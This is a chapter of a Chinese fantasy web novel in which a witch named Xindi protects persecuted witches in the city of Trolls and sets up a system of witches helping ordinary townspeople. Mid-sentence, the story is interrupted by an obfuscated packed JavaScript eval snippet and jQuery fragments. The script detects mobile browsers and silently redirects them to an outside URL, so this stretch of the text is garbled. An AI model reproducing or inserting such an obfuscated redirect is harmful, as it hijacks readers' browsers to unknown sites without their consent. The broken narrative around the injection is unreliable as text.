看着女巫们喝完药剂，一个个都重新振作了起来，辛蒂这才正色道：


    “各位，我有个坏消息不得不告诉大家，我们原定的每人半年的学习时间现在恐怕要缩短了，或许一个月后，我们就需要进行实战。”


    “好消息是，我们并不需要直面帝国的军队，这只是一场小小的争夺粮食的战役。”


    杰西卡和米莉来到特罗斯城一个月后，往来的商队、游民与信使带来了更多关于捷斯盟国现状的消息。


    因为“魔鬼之水”，捷斯盟国失去了国王以及大概三分之一的人口。随之而来因权力斗争而起的内乱可以预见的会更大程度的消耗捷斯盟国的国力。


    更别说还有外界的雷姆斯帝国以及洛斯自由邦的虎视眈眈，捷斯盟国已经割让了边境的几个城市，这显然无法满足两个大国的胃口，捷斯盟国的四分五裂只是时间问题。


    没有人谈论捷斯盟国的平民们目前的处境，想也知道，他们必然是处于水深火热之中，或许刚刚经历了家庭的破碎，转眼之间就要面对国家的消亡。


    这片大陆上的每个国家和城市都在谈论着捷斯盟国和“魔鬼之水”，他们害怕自己会步捷斯盟国的后尘，没有人愿意成为“魔鬼之水”的下一个受害者。


    恐慌蔓延之下，对女巫的大力清剿既是当权者和教廷的引导，也是人们自发的选择。杰西卡和米莉在捷斯盟国遭受到的苦难如今成为了每一寸土地上的女巫都亟需面对的困境，除了雷姆斯共和国的特罗斯城。


    之前辛蒂寄出的那些信件起了作用，特罗斯城庇佑巫师的名声一传十，十传百，成为了绝境中的女巫们最后一根救命稻草。


    她们无暇顾及这究竟是真的避风港还是一个精心设计的陷阱，越来越多的和凯特有着相似遭遇的女巫怀揣着最后的希望来到特罗斯城，加入同光会。


    凯特不是第一个被同光会庇护的女巫，也不会是最后一个。


    同光会给凯特的编号是0368，也就是说凯特是加入同光会的第三百六十八名女巫。


    这个数字是什么概念呢？通过帝国报等渠道的数据，辛蒂计算过这片大陆大概有着三亿人口，一半在雷姆斯帝国，另一半里捷斯盟国和洛斯自由邦占据的人口都是大概三千多万，余下的都分布在一些小国中。


    在这三亿人中，以特罗斯城常住的三万人里有五个巫师的比例来估算，这片大陆应该有五万名左右的巫师存在——考虑到这个时代人口的流动性很低，大部分人都不会离开自己出生的城市，这样的估算准确率很高。


    同样以特罗斯城的情况作为参考，特罗斯城的五个巫师里，只有辛蒂和她收养的那个男巫是活跃在人前的，剩下的三名巫师辛蒂从没见过，或者说几乎没有人见过。


    也就是说大概一半的巫师都躲在森林深处种蘑菇，不和外界接触。这片大陆上真正活跃的巫师是两到三万人。


    在这两到三万人中，女巫大概有一万人，只有四百名不到的女巫成功抵达了特罗斯城，仅仅凭借加入同光会的那些长途跋涉来到特罗斯城的女巫的描述，她们见过的死于火刑、被关押、被欺凌的女巫就有上千人。


    这个数字已经足够触目惊心，却仅仅只是她们亲眼见到的。在无人知晓的角落里，还有无数发不出声音，逃不出绝境的女巫们。


    特罗斯城聚集的三百多名女巫并不算显眼，这个数字连特罗斯城城门每天的正常出入人数都达不到。


    可架不住有心人的观察，痛恨女巫的塞特城城主注意到了特罗斯城竟然从未处决过女巫，他派心腹在城内蹲守了一段时间后，发现女巫竟然可以在城内自由行走。


    塞特城城主立刻将这件事以迷信的形式报告给了帝都，在全国都在疯狂猎巫的当口，特罗斯城庇护女巫的做法简直像是夜空中的明星一样显眼。


    塞特城主的密信立刻引起了帝国的警惕。亚历山大三世在三个月前就勒令娜莎，要求立刻将城里的所有巫师全数押送帝都处理，态度强硬而没有丝毫商量的余地。


    娜莎没有回应这封信，迟迟没有得到预想中的回复的亚历山大三世以国会的名义宣布革除娜莎的城主之位，还指定了继任者，想要强行掌控特罗斯城。


    可娜莎在一年的经营中，她的地位早已根深蒂固，不是一纸公文可以动摇的。


    而且特罗斯家族在特罗斯城世代经营的影响力远大于王权，亚历山大三世的公文在特罗斯城和废纸无异。


    亚历山大三世指定的特罗斯城城主更是连城门都没能进来，在城外驻扎了三天，期间放了无数狠话。


    最终没有得到任何回应之后，只好灰溜溜地原路返回了帝都。


    娜莎远没有看起来那样强硬和气定神闲，特罗斯城目前的稳定局面并非自然而然，是她和辛蒂付出了无数努力的结果。


    为了杜绝《女巫之锤》在特罗斯城内的传播，她们早就不着痕迹地将城中原本忠于教廷、接到命令宣扬《女巫之锤》异端言论的神父尽数替换。


    城中平民大多目不识丁，平日里全靠神父布道获取外界信息。没了教廷势力的恶意煽动与抹黑，平民们自然不会主动去接触那些毫无用处的书籍。


    仇视女巫的种子从一开始就被拔除，而这只是第一步。


    可她们能管控城内的教廷势力，却堵不住悠悠众口，更拦不住四处游走的行商与过客带来的流言。


    特罗斯城是商贸往来的必经之地，若是禁止商人入城，无异于自断生路；若是限制民众外出，又会引发恐慌，激化矛盾。


    那些口口相传的谣言、外界对女巫的恶意诋毁，更是如同沙漠中的风沙一般无孔不入，根本无法彻底禁绝。


    面对这一困境，一味封堵只会起到反作用，唯有从根本上扭转民众对女巫的刻板印象，打破双方之间的隔阂与偏见。


    辛蒂深知，想要赢得普通人的好感与信任从来不是靠强硬的力量，而是靠实打实的善意与帮助。


    是在天旱的时候帮他们降下一场小雨，是在天气


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317934|190134||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    恶劣的时候设置屏障呵护作物。这些事不过是巫师的举手之劳，却可以得到发自内心的感激。


    随着同光会收留的女巫越来越多，力量逐渐壮大，辛蒂正式制定了一套定期轮换的巫师助人制度。


    她将女巫们分成若干小队，每天都会安排八到十位女巫，驻扎在城内的集市、农田、居民区与城门口等各个角落，专门为普通民众排忧解难。


    大到帮忙寻找走失的孩童、用治愈巫术救治突发急症的病人、抢修被风雨损毁的房屋。


    小到清理农田虫害、搬运重物、修补破损的农具，只要是合理合规、不违背原则的请求，女巫们都会尽力帮忙而不索取分毫回报。


    这样的规定一出，得到了很多女巫的质疑和不满，还有人拒不执行。


    她们或许是因为自身遭受到的不公而仇视普通人，或是因为自傲于天赋，认为和普通人打交道辱没了她们，又或是认为这样的举措毫无意义。


    面对女巫们的抗议，辛蒂第一次表现出了强硬的态度。她将这件事作为女巫留在同光会的必要条件，要是不能接受可以选择离开。


    在生存的压力下，很多女巫都退步了，只是仍然不解辛蒂此举的意义。


    杰西卡就是坚决反对的那一个，在她看来，这些民众愚昧麻木，不知感恩，即便得到了巫师们的帮助，他们最终还是会反咬一口。


    她等着看辛蒂被自己的决定反噬的那一刻。


    尽管女巫们都心存不满，在辛蒂的严格监视之下，她们仍然会在轮值的时候履行自己的义务。


    甚至不能对普通人露出臭脸，为此同光会很是流行了一段时间维持面部表情的巫术。


    推行这巫师助人制度，辛蒂有着更深层的考量。


    一方面，近距离的朝夕相处与实打实的善意帮扶能改变外界教廷强加给女巫的“食人怪物”“罪恶异端”的污名标签，让民众亲眼看到女巫也不过是天生拥有特殊力量的普通人，她们同样有温柔的本心、鲜活的性格，绝非传说中的凶神恶煞。


    另一方面，她不希望巫师群体一直困在自我封闭的牢笼里，与普通民众彻底割裂脱节。长久以来，巫师与普通人互相敌视、彼此恐惧，遥远的距离催生无尽误解，层层误解又激化尖锐矛盾，这才让整个巫师族群落得四处逃亡、无处安身的悲惨境地。


    辛蒂始终认为，巫师群体如今的境遇，除却王权与教廷的恶意迫害，本身也有着一定的责任。


    从很久以前开始，巫师们就大多清高自傲，不屑与普通人来往。放在巫师们还很强大的时候矛盾还不明显，弱小的普通人只能默默忍受强大巫师们高高在上的剥削。


    在巫师们势弱的时候，这样的裂隙却是致命的。即使这一次的风波被解决，并不真正了解巫师的普通人们下一次还会被类似的谣言挑拨，抗拒巫师的存在。


    她想让巫师们走出隔阂，看到普通人质朴善良的一面，也让普通人放下恐惧，接纳巫师的存在，慢慢抹平双方的矛盾。